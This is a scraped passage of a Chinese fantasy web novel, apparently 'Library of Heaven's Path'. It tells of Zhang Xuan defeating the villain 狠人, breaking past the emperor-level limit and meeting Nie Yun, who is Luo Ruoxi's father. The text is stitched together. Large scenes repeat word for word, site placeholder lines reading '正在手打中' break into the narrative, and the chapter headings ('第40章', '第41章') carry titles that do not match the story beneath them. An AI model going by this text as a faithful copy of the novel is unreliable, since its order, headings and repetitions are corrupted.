没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第40章 要爱着、就像从来没有被伤害过 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第41章 怎么跟你陈叔叔说话的？ 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 